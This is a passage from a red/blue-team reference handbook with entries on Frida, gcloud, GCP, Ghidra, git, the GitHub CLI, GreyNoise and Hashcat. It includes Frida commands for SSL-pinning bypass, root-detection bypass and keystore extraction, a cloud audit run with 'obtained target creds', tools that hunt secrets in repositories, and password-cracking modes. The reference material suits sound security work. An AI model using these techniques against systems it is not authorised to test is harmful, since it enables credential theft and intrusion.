syslog:tcp:host - send to the specified host using tcp and
port 514
•
syslog:tcp:host:port - send to the specified host using tcp
and the specified port
•
syslog:tcp+tls:host - send to the specified host using tls
over tcp and port 514
•
syslog:tcp+tls:host:port - send to the specified host using
tls over tcp and the specified port
REFERENCE:
https://www.atredis.com/blog/2020/1/26/flamingo-captures-credentials
https://github.com/atredispartners/flamingo
https://github.com/atredispartners/flamingo/releases
F
F
FRIDA
RED TEAM
VULNERABILITY
ALL
Frida is a dynamic code instrumentation toolkit. Lets you inject
snippets of JavaScript or your own library into native apps on
Windows, macOS, GNU/Linux, iOS, Android, QNX.
Listing frida available devices
frida-ls-devices
Getting frida server running on device
download latest binary from frida releases
adb shell "su -c 'chmod 755 /data/local/tmp/frida-server'"
adb shell "su -c '/data/local/tmp/frida-server' &"
Trace open calls in chrome
68
frida-trace -U -i open com.android.chrome
FRIDA-CLI
Connect to application and start debugging
frida -U <APP NAME>
Loading a script
frida Calculator -l calc.js
#add --debug for more debugging symbols
Connect and list running processes
frida-ps -U
Connect and list running applications
frida-ps -Ua
Connect and list installed applications
frida-ps -Uai
Connect to specific device
frida-ps -D 0216027d1d6d3a03
If/when troubleshooting brida to frida bridge
frida -U -f com.htbridge.pivaa -l ~/bin/proxies/scriptBrida.js --
no-pause
NOTE: Turn off magisk hiding in settings as this causes issue with
brida and frida link.
iOS
NOTE: For non-jailbroken iPhones, frida gadget technique is way to
go. Recompile app with embedded frida gadget
iOS getting list of applications
#run this on the device
ipainstaller -l > applist.txt
Get active window
w = ObjC.classes.UIWindow.keyWindow()
#This returns an address such as: 0xd43321
#Now drill into this window with:
desc = w.recursiveDescription().toString()
Refactor into one-liner:
frida -q -U evilapp -e
"ObjC.classes.UIWindow.keyWindow().recursiveDescription()
69
.toString;" | grep "UILabel.*hidden*""
FRIDA SCRIPTS
SSL pinning bypass (android - via frida codeshare)
frida --codeshare pcipolloni/universal-android-ssl-pinning-bypass-
with-frida -f YOUR_BINARY
frida --codeshare segura2010/android-certificate-pinning-bypass -f
YOUR_BINARY
frida --codeshare sowdust/universal-android-ssl-pinning-bypass-2 -f
YOUR_BINARY
Anti-root bypass (android - via frida codeshare)
frida --codeshare dzonerzy/fridantiroot -f YOUR_BINARY
Obj-C method observer
frida --codeshare mrmacete/objc-method-observer -f YOUR_BINARY
Get stack trace in your hook (android)
frida --codeshare razaina/get-a-stack-trace-in-your-hook -f
YOUR_BINARY
Bypass network security config (android)
frida --codeshare tiiime/android-network-security-config-bypass -f
YOUR_BINARY
Extract android keystore
frida --codeshare ceres-c/extract-keystore -f YOUR_BINARY
iOS backtrace http requests
frida --codeshare SYM01/ios-backtrace-http-req -f YOUR_BINARY
iOS trustkit SSL unpinning
frida --codeshare platix/ios-trustkit-ssl-unpinning -f YOUR_BINARY
iOS SSL bypass
frida --codeshare lichao890427/ios-ssl-bypass -f YOUR_BINARY
iOS 12 SSL bypass
frida --codeshare machoreverser/ios12-ssl-bypass -f YOUR_BINARY
iOS SSL pinning disable
frida --codeshare snooze6/ios-pinning-disable -f YOUR_BINARY
iOS & Android enumeration script
70
frida --codeshare snooze6/everything -f YOUR_BINARY
REFERENCE:
Twitter> @gh0s7
https://frida.re/
https://github.com/frida/frida
https://github.com/dweinstein/awesome-frida
G
G
G
GCP CLI
ALL
ADMINISTRATION
CLOUD
gcloud CLI manages authentication, local configuration, developer
workflow, and interactions with Google Cloud APIs.
COMMAND
DESCRIPTION
BASICS
https://cloud.google.com/sdk/gcloud/reference/
gcloud Doc
https://cloud.google.com/storage/docs/gsutil
gsutil
Installation
https://cloud.google.com/sdk/docs/quickstart-linux
Installation
gcloud version, gcloud info, gcloud components list
Check version
& settings
gcloud init
#This will ask you to open an OpenID URL
Init profile
gcloud compute zones list
List all
zones
gcloud components update, gcloud components update -
-version 219.0.1
Upgrade local
SDK
BUCKET BASICS
71
gsutil ls, gsutil ls -lh gs://<bucket-name>
List all
buckets and
files
gsutil cp gs://<bucket-name>/<dir-path>/package-
1.1.tgz .
Download file
gsutil cp <filename> gs://<bucket-name>/<directory>/ Upload file
gsutil cat gs://<bucket-name>/<filepath>/
Cat file
gsutil rm gs://<bucket-name>/<filepath>
Delete file
gsutil mv <src-filepath> gs://<bucket-
name>/<directory>/<dest-filepath>
Move file
gsutil cp -r ./conf gs://<bucket-name>/
Copy folder
gsutil du -h gs://<bucket-name/<directory>
Show disk
usage
gsutil mb gs://<bucket-name>
Create bucket
gsha1sum syslog-migration-10.0.2.tgz, shasum syslog-
migration-10.0.2.tgz
Caculate file
sha1sum
gsutil help, gsutil help cp, gsutil help options
Gsutil help
GCP PROJECT
gcloud config list, gcloud config list project
List projects
gcloud compute project-info describe
Show project
info
gcloud config set project <project-id>
Switch
project
GKE
gcloud auth list
Display a
list of
credentialed
accounts
gcloud config set account <ACCOUNT>
Set the
active
account
gcloud container clusters get-credentials <cluster-
name>
Set kubectl
context
gcloud config set compute/region us-west
Change region
gcloud config set compute/zone us-west1-b
Change zone
gcloud container clusters list
List all
container
clusters
IAM
gcloud auth activate-service-account --key-file
<key-file>
Authenticate
client
gcloud auth list
Display a
list of
credentialed
accounts
gcloud config set account <ACCOUNT>
Set the
active
account
72
gcloud auth configure-docker
Auth to GCP
Container
Registry
gcloud auth print-access-token, gcloud auth print-
refresh-token
Print token
for active
account
gcloud auth <application-default> revoke
Revoke
previous
generated
credential
BUCKET SECRURITY
gsutil -m acl set -R -a public-read gs://<bucket-
name>/
Make all
files
readable
gsutil config -a
Config auth
gsutil iam ch
user:[email protected]:objectCreator,objectViewer
gs://<bucket-name>
Grant bucket
access
gsutil iam ch -d
user:[email protected]:objectCreator,objectViewer
gs://<bucket-name>
Remove bucket
access
INSTANCE
gcloud compute instances list, gcloud compute
instance-templates list
List all
instances
gcloud compute instances describe "<instance-name>"
--project "<project-name>" --zone "us-west2-a"
Show instance
info
gcloud compute instances stop instance-2
Stop an
instance
gcloud compute instances start instance-2
Start an
instance
gcloud compute instances create vm1 --image image-1
--tags test --zone "<zone>" --machine-type f1-micro
Create an
instance
gcloud compute ssh --project "<project-name>" --zone
"<zone-name>" "<instance-name>"
SSH to
instance
gcloud compute copy-files example-instance:~/REMOTE-
DIR ~/LOCAL-DIR --zone us-central1-a
Download
files
gcloud compute copy-files ~/LOCAL-FILE-1 example-
instance:~/REMOTE-DIR --zone us-central1-a
Upload files
DISKS/VOLUMES
gcloud compute disks list
List all
disks
gcloud compute disk-types list
List all disk
types
gcloud compute snapshots list
List all
snapshots
gcloud compute disks snapshot <diskname> --
snapshotname <name1> --zone $zone
Create
snapshot
NETWORK
gcloud compute networks list
List all
networks
73
gcloud compute networks describe <network-name> --
format json
Detail of one
network
gcloud compute networks create <network-name>
Create
network
gcloud compute networks subnets create subnet1 --
network net1 --range 10.5.4.0/24
Create subnet
gcloud compute addresses create --region us-west2-a
vpn-1-static-ip
Get a static
ip
gcloud compute addresses list
List all ip
addresses
gcloud compute addresses describe <ip-name> --region
us-central1
Describe ip
address
gcloud compute routes list
List all
routes
DNS
gcloud dns record-sets list --zone my_zone
List of all
record-sets
in myzone
gcloud dns record-sets list --zone my_zone --
limit=10
List first 10
DNS records
FIREWALL
gcloud compute firewall-rules list
List all
firewall
rules
gcloud compute forwarding-rules list
List all
forwarding
rules
gcloud compute firewall-rules describe <rule-name>
Describe one
firewall rule
gcloud compute firewall-rules create my-rule --
network default --allow tcp:9200 tcp:3306
Create one
firewall rule
gcloud compute firewall-rules update default --
network default --allow tcp:9200 tcp:9300
Update one
firewall rule
IMAGES/CONTAINERS
gcloud compute images list
List all
images
gcloud container clusters list
List all
container
clusters
gcloud container clusters get-credentials <cluster-
name>
Set kubectl
context
RDS
gcloud sql instances list
List all sql
instances
SERVICES
gcloud compute backend-services list
List my
backend
services
74
gcloud compute http-health-checks list
List all my
health check
endpoints
gcloud compute url-maps list
List all URL
maps
REFERENCE:
https://cheatsheet.dennyzhang.com/cheatsheet-gcp-a4
G
G
GCP_Defend
BLUE TEAM
LOGGING
CLOUD
Security-related logs
Logs provide a rich data set to help identify specific security
events. Each of the following log sources might provide details
that you can use in your analysis.
Cloud Audit Logs
Google Cloud services write audit logs called Cloud Audit Logs.
These logs help you answer the questions, "Who did what, where, and
when?" There are three types of audit logs for each project,
folder, and organization: Admin Activity, Data Access, and System
Event. These logs collectively help you understand what
administrative API calls were made, what data was accessed, and
what system events occurred. This information is critical for any
analysis. For a list of Google Cloud services that provide audit
logs, see Google services with audit logs.
Cloud Audit Logs for GKE also exposes Kubernetes Audit Logging,
which provides a chronological record of calls made to the
Kubernetes API server. These logs are also collected in Cloud Audit
Logs.
App logs
Stackdriver Logging collects your container standard output and
error logs. You can add other logs by using the Sidecar approach.
For clusters with Istio and Stackdriver enabled, the Istio
Stackdriver adapter collects and reports the Istio-specific logs
and sends the logs to Stackdriver Logging.
Infrastructure logs
Infrastructure logs offer insight into the activities and events at
the OS, cluster, and networking levels.
GKE audit logs
75
GKE sends two types of audit logs: GKE audit logs and Kubernetes
Audit Logging. Kubernetes writes audit logs to Cloud Audit Logs for
calls made to the Kubernetes API server. Kubernetes audit log
entries are useful for investigating suspicious API requests, for
collecting statistics, and for creating monitoring alerts for
unwanted API calls. In addition, GKE writes its own audit logs that
identify what occurs in a GKE cluster.
Compute Engine Cloud Audit Logs for GKE nodes
GKE runs on top of Compute Engine nodes, which generate their own
audit logs. In addition, you can configure auditd to capture Linux
system logs. auditd provides valuable information such as error
messages, login attempts, and binary executions for your cluster
nodes. Both the Compute Engine audit logs and the auditd audit logs
provide insight into activities that happen at the underlying
cluster infrastructure level.
Container logs
For container and system logs, GKE deploys a per-node logging agent
that reads container logs, adds helpful metadata, and then stores
the logs. The logging agent checks for container logs in the
following sources:
•
Standard output and standard error logs from containerized
processes
•
kubelet and container runtime logs
•
Logs for system components, such as VM startup scripts
For events, GKE uses a deployment in the kube-system namespace that
automatically collects events and sends them to Logging. Logs are
collected for clusters, nodes, pods, and containers.
Istio on Google Kubernetes Engine
For clusters with Istio, the Istio Stackdriver adapter is installed
during cluster creation, which sends metrics, logging, and trace
data from your mesh to Stackdriver.
Auditd for Container-Optimized OS on GKE
For Linux systems, the auditd daemon provides access to OS system-
level commands and can provide valuable insight into the events
inside your containers. On GKE, you can collect auditd logs and
send them to Logging.
VPC Flow Logs
VPC Flow Logs records a sample of network flows sent from and
received by VM instances. This information is useful for analyzing
network communication. VPC Flow Logs includes all pod-to-pod
traffic through the Intranode Visibility feature in your Kubernetes
cluster.
REFERENCE:
76
https://cloud.google.com/solutions/security-controls-and-forensic-analysis-
for-GKE-apps
G
G
GCP_Exploit
RED TEAM
EXPLOITATION
CLOUD
SCOUT
Scout Suite is an open source multi-cloud security-auditing tool,
which enables security posture assessment of cloud environments.
STEP 1: Download and install Gcloud command-line tool:
https://cloud.google.com/pubsub/docs/quickstart-cli
STEP 2: Set the obtained target creds in your configuration:
gcloud config set account <account>
STEP 3: Execute ‘scout’ using a user account or service account:
$ python scout.py --provider gcp --user-account
$ python scout.py --provider gcp --service-account --key-file
/path/to/keyfile
STEP 4: To scan a GCP account, execute either of the following:
Organization: organization-id <ORGANIZATION_ID>
Folder: folder-id <FOLDER_ID>
Project: project-id <PROJECT_ID>
REFERENCE:
https://github.com/puresec/awesome-serverless-security/#google-cloud-
functions-security
https://github.com/nccgroup/ScoutSuite
https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-
privileges-in-google-cloud-platform/
G
G
GCP_Hardening
BLUE TEAM
CONFIGURATION
CLOUD
GKE Hardening Guide
https://cloud.google.com/kubernetes-engine/docs/how-to/hardening-
your-cluster
77
G
G
GCP_Terms
ALL
INFORMATIONAL
CLOUD
Google Cloud Developers Cheat Sheet
https://github.com/gregsramblings/google-cloud-4-words
https://www.intelligencepartner.com/en/definitive-cheat-sheet-for-
google-cloud-products/
G
G
GHIDRA
RED/BLUE TEAM
REVERSE ENGINEER
BINARIES
Ghidra is a software reverse engineering framework developed by NSA
that is in use by the agency for more than a decade. Basically, a
software reverse engineering tool helps to dig up the source code
of a proprietary program which further gives you the ability to
detect malware threats or potential bugs.
PROJECT/PROGRAM
SHORTCUT
MENU
New Project
Ctrl+N
File → New Project
Open Project
Ctrl+O
File → Open Project
Close Project1
Ctrl+W
File → Close
Project
Save Project1
Ctrl+S
File → Save Project
Import File1
I
File → Import File
Export Program
O
File → Export
Program
Open File System1
Ctrl+I
File → Open File
System
NAVIGATION
Go To
G
Navigation → Go To
Back
Alt+←
Forward
Alt+→
Toggle Direction
Ctrl+Alt+T
Navigation → Toggle
Code Unit Search
Direction
Next Instruction
Ctrl+Alt+I
Navigation → Next
Instruction
Next Data
Ctrl+Alt+D
Navigation → Next
Data
Next Undefined
Ctrl+Alt+U
Navigation → Next
Undefined
Next Label
Ctrl+Alt+L
Navigation → Next
Label
78
Next Function
Ctrl+Alt+F
Navigation → Next
Function
Previous Function
Ctrl+↑
Navigation → Go To
Previous Function
Next Non-function
Instruction
Ctrl+Alt+N
Navigation → Next
Instruction Not In
a Function
Next Different Byte
Value
Ctrl+Alt+V
Navigation → Next
Different Byte
Value
Next Bookmark
Ctrl+Alt+B
Navigation → Next
Bookmark
MARKUP
Undo
Ctrl+Z
Edit → Undo
Redo
Ctrl+Shift+Z
Edit → Redo
Save Program
Ctrl+S
File → Save program
name
Disassemble
D
❖ → Disassemble
Clear Code/Data
C
❖ → Clear Code
Bytes
Add Label Address
field
L
❖ → Add Label
Edit Label Label
field
L
❖ → Edit Label
Rename Function
Function name field
L
❖ → Function →
Rename Function
Remove Label Label
field
Del
❖ → Remove Label
Remove Function
Function name field
Del
❖ → Function →
Delete Function
Define Data
T
❖ → Data → Choose
Data Type
Repeat Define Data
Y
❖ → Data → Last
Used: type
Rename Variable
Variable in
decompiler
L
❖ → Rename Variable
Retype Variable
Variable in
decompiler
Ctrl+L
❖ → Retype Variable
Cycle Integer Types
B
❖ → Data → Cycle →
byte, word, dword,
qword
Cycle String Types
'
❖ → Data → Cycle →
char, string,
unicode
Cycle Float Types
F
❖ → Data → Cycle →
float, double
79
Create Array2
[
❖ → Data → Create
Array
Create Pointer2
P
❖ → Data → pointer
Create Structure
Selection of data
Shift+[
❖ → Data → Create
Structure
New Structure Data
type container
❖ → New → Structure
Import C Header
File → Parse C
Source
Cross References
❖ → References →
Show References to
context
WINDOWS
Bookmarks
Ctrl+B
Window → Bookmarks
Byte Viewer
Window → Bytes:
program name
Function Call Trees
Data Types
Window → Data Type
Manager
Decompiler
Ctrl+E
Window → Decompile:
function name
Function Graph
Window → Function
Graph
Script Manager
Window → Script
Manager
Memory Map
Window → Memory Map
Register Values
V
Window → Register
Manager
Symbol Table
Window → Symbol
Table
Symbol References
Window → Symbol
References
Symbol Tree
Window → Symbol
Tree
SEARCH
Search Memory
S
Search → Memory
Search Program Text
Ctrl+Shift+E
Search → Program
Text
MISC
Select
Select → what
Program Differences
2
Tools → Program
Differences
Rerun Script
Ctrl+Shift+R
Assemble
Ctrl+Shift+G
❖ → Patch
Instruction
**❖ indicates the context menu, i.e., right-click.
REFERENCE:
https://www.shogunlab.com/blog/2019/12/22/here-be-dragons-ghidra-1.html
https://ghidra-sre.org/CheatSheet.html
80
G
G
GIT
ALL
ADMINISTRATION
SOURCE/DOCUMENTATION
Configure Tooling
Sets the name attached to your commit transaction
# git config --global user.name "[name]"
Set the email attached to your commit transactions
# git config --global user.email "[email address]"
Enables colorization of command line output
# git config --global color.ui auto
Create Repositories
Turn an existing directory into a git repository
# git init
Clone (download) a repository that already exists, including all of
the files, branches, and commits
# git clone [url] or [/path] or [user@host:/path]
Branches
Create a new branch
# git branch [branch-name]
Switches to the specified branch and updates the working directory
# git checkout [branch-name]
Combines the specified branch’s history into the current branch.
# git merge [branch]
Deletes the specified branch
# git branch -d [branch-name]
Push branch to remote repository
# git push origin [branch]
Synchronize Changes
Downloads all history from the remote tracking branches
# git fetch
Combines remote tracking branch into current local branch
# git merge
Uploads all local branch commits to GitHub
# git push
Updates your current local working branch with all new commits from
the remote branch
# git pull
81
Browse History Changes
List version history for the current branch
# git log
List version history for a file
# git log --follow [file]
Show content differences between two branches
# git diff [branch-1]…[branch-2]
Output metadata and content changes of a commit
# git show [commit]
Snapshots a file in preparation for versioning
# git add [file]
Remove a git file from a repository
# git rm [file]
Record file snapshot in permanent version history
# git commit -m “[description text]”
Redo & Restore Commits
Undo all commits after the specified commit, except changes locally
# git reset [commit]
Discard all history & changes back to commit
# git reset --hard [commit]
Replace working copy with latest from HEAD
# git checkout --[file]
Terms
git: an open source, distributed version-control system
GitHub: a platform for hosting and collaborating on Git
repositories
commit: a Git object, a snapshot of your entire repository
compressed into a SHA
branch: a lightweight movable pointer to a commit
clone: a local version of a repository, including all commits and
branches
remote: a common repository on GitHub that all team member use to
exchange their changes
fork: a copy of a repository on GitHub owned by a different user
pull request: a place to compare and discuss the differences
introduced on a branch with reviews, comments, integrated tests,
and more
HEAD: representing your current working directory, the HEAD pointer
can be moved to different branches, tags, or commits when using git
checkout
REFERENCE:
https://github.github.com/training-kit/downloads/github-git-cheat-sheet.pdf
82
G
G
GITHUB CLI
ALL
ADMINISTRATION
SOURCE/DOCUMENTATION
gh is GitHub on the command line and brings pull requests, issues,
and other GitHub concepts to the terminal next to where you are
already working with git and your code.
# Create an issue interactively
gh issue create
# Create an issue using flags
gh issue create --title "Issue title" --body "Issue body"
# Quickly navigate to the issue creation page
gh issue create --web
# Viewing a list of open issues
gh issue list
# Viewing a list of closed issues assigned to a user
gh issue list --state closed --assignee user
# Viewing issues relevant to you
gh issue status
# Viewing an issue in the browser
gh issue view <issue_number>
# Viewing an issue in terminal
gh issue view <issue_number> --preview
# Check out a pull request in Git Example Syntax
gh pr checkout {<number> | <url> | <branch>} [flags]
# Checking out a pull request locally
gh pr checkout <number>
# Checking out a pull request locally with branch name or URL
gh pr checkout branch-name
# Create a pull request interactively
gh pr create
# Create a pull request using flags
83
gh pr create --title "Pull request title" --body "Pull request
body"
# Quickly navigate to the pull request creation page
gh pr create --web
# Viewing a list of open pull requests
gh pr list
# Viewing a list of closed pull requests assigned to a user
gh pr list --state closed --assignee user
# Viewing the status of your relevant pull requests
gh pr status
# Viewing a pull request in the browser
gh pr view <number>
# Viewing a pull request in terminal
gh pr view <number> --preview
REFERENCE:
https://cli.github.com/
G
G
GITHUB_Exploit
RED/BLUE TEAM
ADMINISTRATION
EXPOSED SECRETS
It’s advantageous to search git repos like Github or Gitlab for
exposed credentials, api keys, and other authentication methods.
TRUFFLE HOG
https://github.com/dxa4481/truffleHog
STEP 1: pip install truffleHog
STEP 2: Fire at a git repo or local branches:
truffleHog --regex --entropy=False
https://github.com/someco/example.git
truffleHog file:///user/someco/codeprojects/example/
GITROB
84
Gitrob will clone repos to moderate depth and then iterate through
commit histories flagging files that match potentially sensitive
content.
https://github.com/michenriksen/gitrob
https://github.com/michenriksen/gitrob/releases
STEP 1: Download precompiled gitrob release
STEP 2: Login and generate/copy your GITHUB access token:
https://github.com/settings/tokens
STEP 3: Launch Gitrob in analyze mode
gitrob analyze <username> --site=https://github.example.com --
endpoint=https://github.example.com/api/v3 --access-
tokens=token1,token2
G
G
GREYNOISE
BLUE TEAM
THREAT INTEL
CLOUD
GreyNoise - collects and analyzes untargeted, widespread, and
opportunistic scan and attack activity that reaches every server
directly connected to the Internet. Mass scanners (such as Shodan
and Censys), search engines, bots, worms, and crawlers generate
logs and events omnidirectionally on every IP address in the IPv4
space. GreyNoise gives you the ability to filter this useless noise
out.
**CLI & WEB UI Available
GREYNOISE CLI
Install the library:
pip install greynoise or python setup.py install
Save your configuration:
greynoise setup --api-key <your-API-key>
#CLI COMMAND OPTIONS
query
Run a GNQL structured query.
account
View information about your GreyNoise account.
alerts
List, create, delete, and manage your GreyNoise
alerts.
analyze
Analyze the IP addresses in a log file, stdin,
etc.
feedback
Send feedback directly to the GreyNoise team.
filter
Filter the noise from a log file, stdin, etc.
help
Show this message and exit.
85
interesting
Report one/more IP "interesting".
ip
Query for all information on an IP.
pcap
Get PCAP for a given IP address.
quick
Check if one/many IPs are "noise".
repl
Start an interactive shell.
setup
Configure API key.
signature
Submit IDS signature to GreyNoise.
stats
Aggregate stats from a GNQL query.
version
Get version and OS of GreyNoise.
FILTER
Sort external IP's from a log file (firewall, netflow, DNS, etc..)
into a text file one per line ips.txt. Stdin to greynoise
filter/remove all IP's that are "noise" and return non-noise IP's"
# cat ips.txt | greynoise filter > non-noise-ips.txt
ANALYZE
Sort external IP's from a log file (firewall, netflow, DNS, etc..)
into a text file one per line ips.txt. Stdin to greynoise to
analyze all IP's for ASN, Categories, Classifications, Countries,
Operating Systems, Organizations, and Tags:
# cat ips.txt | greynoise analyze
STATS
Any query you run can be first checked for statistics returned for
that query:
# greynoise stats "ip:113.88.161.0/24 classification:malicious"
#IP DATA
The IP address of the scanning device IP:
# greynoise query "ip:<IPAddr or CIDR>"
# greynoise query "ip:113.88.161.215"
# greynoise query "113.88.161.0/24"
Whether the device has been categorized as unknown, benign, or
malicious:
# greynoise query "classification:<type>"
# greynoise query "classification:malicious"
# greynoise query "ip:113.88.161.0/24 classification:malicious"
The date the device was first observed:
# greynoise query "first_seen:<YYYY-MM-DD>"
86
# greynoise query "first_seen:2019-12-29"
# greynoise query "ip:113.88.161.0/24 first_seen: 2019-12-29"
The date the device was most recently observed:
# greynoise query "last_seen:<YYYY-MM-DD>"
# greynoise query "last_seen:2019-12-30"
# greynoise query "ip:113.88.161.0/24 last_seen:2019-12-30"
The benign actor the device has been associated with, i.e. Shodan,
GoogleBot, BinaryEdge, etc:
# greynoise query "actor:<actor>"
# greynoise query "actor:censys"
# greynoise query "198.108.0.0/16 actor:censys"
A list of the tags the device has been assigned over the past 90
days:
# greynoise query "tags:<tag string>"
# greynoise query "tags:avtech"
# greynoise query "tags:avtech metadata.asn:AS17974"
#METADATA
Whether device is a business, isp, or hosting:
# greynoise query "metadata.category:<category string>"
# greynoise query "metadata.category:ISP"
# greynoise query "metadata.category:ISP actor:Yandex"
The full name of the country the device is geographically located
in:
# greynoise query "metadata.country:<country>"
# greynoise query "metadata.country:turkey"
# greynoise query "metadata.country:turkey
metadata.category:mobile"
The two-character country code of the country the device is
geographically located:
# greynoise query "metadata.country_code:<##>"
# greynoise query "metadata.country_code:RU"
# greynoise query "metadata.country_code:RU classification:benign"
The city the device is geographically located in
metadata.organization:
# greynoise query "metadata.city:<city string>"
# greynoise query "metadata.city:moscow"
# greynoise query "metadata.city:moscow tags:SMB Scanner"
The organization that owns the network that the IP address belongs:
# greynoise query "metadata.organization:<string>"
# greynoise query "metadata.organization:Yandex"
87
# greynoise query "metadata.organization:Yandex tags:DNS Scanner"
The reverse DNS pointer of the IP:
# greynoise query "metadata.rdns:<dns string>"
# greynoise query "metadata.rdns:*yandex*"
# greynoise query "metadata.rdns:*yandex* tags:Web Crawler"
The autonomous system the IP address belongs:
# greynoise query "metadata.asn:<AS#####>"
# greynoise query "metadata.asn:AS17974"
# greynoise query "metadata.asn:AS17974 metadata.organization:PT
TELEKOMUNIKASI INDONESIA"
Whether the device is a known Tor exit node:
# greynoise query "metadata.tor:<true>"
# greynoise query "metadata.tor:true"
# greynoise query "metadata.tor:true metadata.country:sweden"
#RAW_DATA
The port number(s) the devices has been observed scanning:
# greynoise query "raw_data.scan.port:<port number>"
# greynoise query "raw_data.scan.port:23"
# greynoise query "raw_data.scan.port:23 metdata.country:sweden"
The protocol of the port the device has been observed scanning:
# greynoise query "raw_data.scan.protocol:<tcp/udp>"
# greynoise query "raw_data.scan.protocol:udp"
# greynoise query "raw_data.scan.protocol:udp
metadata.country:china"
Any HTTP paths the device has been observed crawling the Internet:
# greynoise query "raw_data.web.paths:<path string>"
# greynoise query "raw_data.web.paths:*admin*"
# greynoise query "raw_data.web.paths:*admin* tags:Jboss Worm"
Any HTTP user-agents the device has been observed using while
crawling the Internet
# greynoise query "raw_data.web.useragents:<UA string>"
# greynoise query "raw_data.web.useragents:Mozilla/4.0 (compatible;
MSIE 8.0; Windows NT 5.2; Trident/4.0)"
# greynoise query "raw_data.web.useragents:*baidu*
metadata.country:Hong Kong"
Fingerprinting TLS encrypted negotiation between client and server
interactions (https://ja3er.com/ &
https://github.com/salesforce/ja3/tree/master/lists):
# greynoise query "raw_data.ja3.fingerprint:<JA3 fingerprint hash>"
88
# greynoise query "raw_data.ja3.fingerprint:6734f3
7431670b3ab4292b8f60f29984"
# greynoise query "raw_data.ja3.fingerprint:6734f3
7431670b3ab4292b8f60f29984 metadata.country:china"
GREYNOISE WEB UI
https://viz.greynoise.io/
#IP DATA
The IP address of the scanning device IP:
> ip or cidr
> 113.88.161.215
> 113.88.161.0/24
Whether the device has been categorized as unknown, benign, or
malicious:
> classification:<type>
> classification:malicious
> 113.88.161.0/24 classification:malicious
The date the device was first observed:
> first_seen:<YYYY-MM-DD>
> first_seen:2019-12-29
> 113.88.161.0/24 first_seen 2019-12-29
The date the device was most recently observed:
> last_seen:<YYYY-MM-DD>
> last_seen:2019-12-30
> 113.88.161.0/24 last_seen:2019-12-30
The benign actor the device has been associated with, i.e. Shodan,
GoogleBot, BinaryEdge, etc:
> actor:<actor>
> actor:censys
> 198.108.0.0/16 actor:censys
A list of the tags the device has been assigned over the past 90
days:
> tags:<tag string>
> tags:avtech
> tags:avtech metadata.asn:AS17974
#METADATA
Whether device is a business, isp, or hosting:
> metadata.category:<category string>
> metadata.category:ISP
> metadata.category:ISP actor:Yandex
89
The full name of the country the device is geographically located
in:
> metadata.country:<country>
> metadata.country:turkey
> metadata.country:turkey metadata.category:mobile
The two-character country code of the country the device is
geographically located:
> metadata.country_code:<##>
> metadata.country_code:RU
> metadata.country_code:RU classification:benign
The city the device is geographically located in
metadata.organization:
> metadata.city:<city string>
> metadata.city:moscow
> metadata.city:moscow tags:SMB Scanner
The organization that owns the network that the IP address belongs:
> metadata.organization:<string>
> metadata.organization:Yandex
> metadata.organization:Yandex tags:DNS Scanner
The reverse DNS pointer of the IP:
> metadata.rdns:<dns string>
> metadata.rdns:*yandex*
> metadata.rdns:*yandex* tags:Web Crawler
The autonomous system the IP address belongs:
> metadata.asn:<AS#####>
> metadata.asn:AS17974
> metadata.asn:AS17974 metadata.organization:"PT TELEKOMUNIKASI
INDONESIA"
Whether the device is a known Tor exit node:
> metadata.tor:<true>
> metadata.tor:true
> metadata.tor:true metadata.country:sweden
#RAW_DATA
The port number(s) the devices has been observed scanning:
> raw_data.scan.port:<port number>
> raw_data.scan.port:23
> raw_data.scan.port:23 metdata.country:sweden
The protocol of the port the device has been observed scanning:
> raw_data.scan.protocol:<tcp/udp>
> raw_data.scan.protocol:udp
90
> raw_data.scan.protocol:udp metadata.country:china
Any HTTP paths the device has been observed crawling the Internet:
> raw_data.web.paths:<path string>
> raw_data.web.paths:*admin*
> raw_data.web.paths:*admin* tags:"Jboss Worm"
Any HTTP user-agents the device has been observed using while
crawling the Internet
> raw_data.web.useragents:<UA string>
> raw_data.web.useragents:"Mozilla/4.0 (compatible; MSIE 8.0;
Windows NT 5.2; Trident/4.0)"
> raw_data.web.useragents:*baidu* metadata.country:Hong Kong
Fingerprinting TLS encrypted negotiation between client and server
interactions (https://ja3er.com/ &
https://github.com/salesforce/ja3/tree/master/lists):
> raw_data.ja3.fingerprint:<JA3 fingerprint hash>
> raw_data.ja3.fingerprint:6734f37431670b3ab4292b8 f60f29984
> raw_data.ja3.fingerprint:6734f37431670b3ab4292b8 f60f29984
metadata.country:china
REFERENCE:
https://viz.greynoise.io/cheat-sheet/queries
https://viz.greynoise.io/cheat-sheet/examples
https://github.com/GreyNoise-Intelligence/pygreynoise
H
H
H
91
HASHCAT
RED TEAM
PASSWORD CRACKING
ALL
Hashcat is the world's fastest and most advanced password recovery
utility.
ATTACK MODES
DICTIONARY ATTACK
hashcat -a 0 -m #type hash.txt dict.txt
DICTIONARY + RULES ATTACK
hashcat -a 0 -m #type hash.txt dict.txt -r rule.txt
COMBINATION ATTACK
hashcat -a 1 -m #type hash.txt dict1.txt dict2.txt
MASK ATTACK
hashcat -a 3 -m #type hash.txt ?a?a?a?a?a?a
HYBRID DICTIONARY + MASK
hashcat -a 6 -m #type hash.txt dict.txt ?a?a?a?a
HYBRID MASK + DICTIONARY
hashcat -a 7 -m #type hash.txt ?a?a?a?a dict.txt
RULES
RULEFILE -r
hashcat -a 0 -m #type hash.txt dict.txt -r rule.txt
MANIPULATE LEFT -j
hashcat -a 1 -m #type hash.txt left_dict.txt right_dict.txt -j
<option>
MANIPULATE RIGHT -k
hashcat -a 1 -m #type hash.txt left_dict.txt right_dict.txt -k
<option>
INCREMENT
DEFAULT INCREMENT
hashcat -a 3 -m #type hash.txt ?a?a?a?a?a --increment
INCREMENT MINIMUM LENGTH
hashcat -a 3 -m #type hash.txt ?a?a?a?a?a --increment-min=4
INCREMENT MAX LENGTH
hashcat -a 3 -m #type hash.txt ?a?a?a?a?a?a --increment-max=5
MISC
BENCHMARK TEST (HASH TYPE)
hashcat -b -m #type
SHOW EXAMPLE HASH
hashcat -m #type --example-hashes
ENABLE OPTIMIZED KERNELS (Warning! Decreasing max password length)
hashcat -a 0 -m #type -O hash.txt dict.txt
ENABLE SLOW CANDIDATES (For fast hashes w/ small dict.txt + rules)
hashcat -a 0 -m #type -S hash.txt dict.txt
SESSION NAME
hashcat -a 0 -m #type --session <uniq_name> hash.txt dict.txt
SESSION RESTORE
92
hashcat -a 0 -m #type --restore --session <uniq_name> hash.txt
dict.txt
SHOW KEYSPACE
hashcat -a 0 -m #type --keyspace hash.txt dict.txt -r rule.txt
OUTPUT RESULTS FILE -o
hashcat -a 0 -m #type -o results.txt hash.txt dict.txt
CUSTOM CHARSET -1 -2 -3 -4
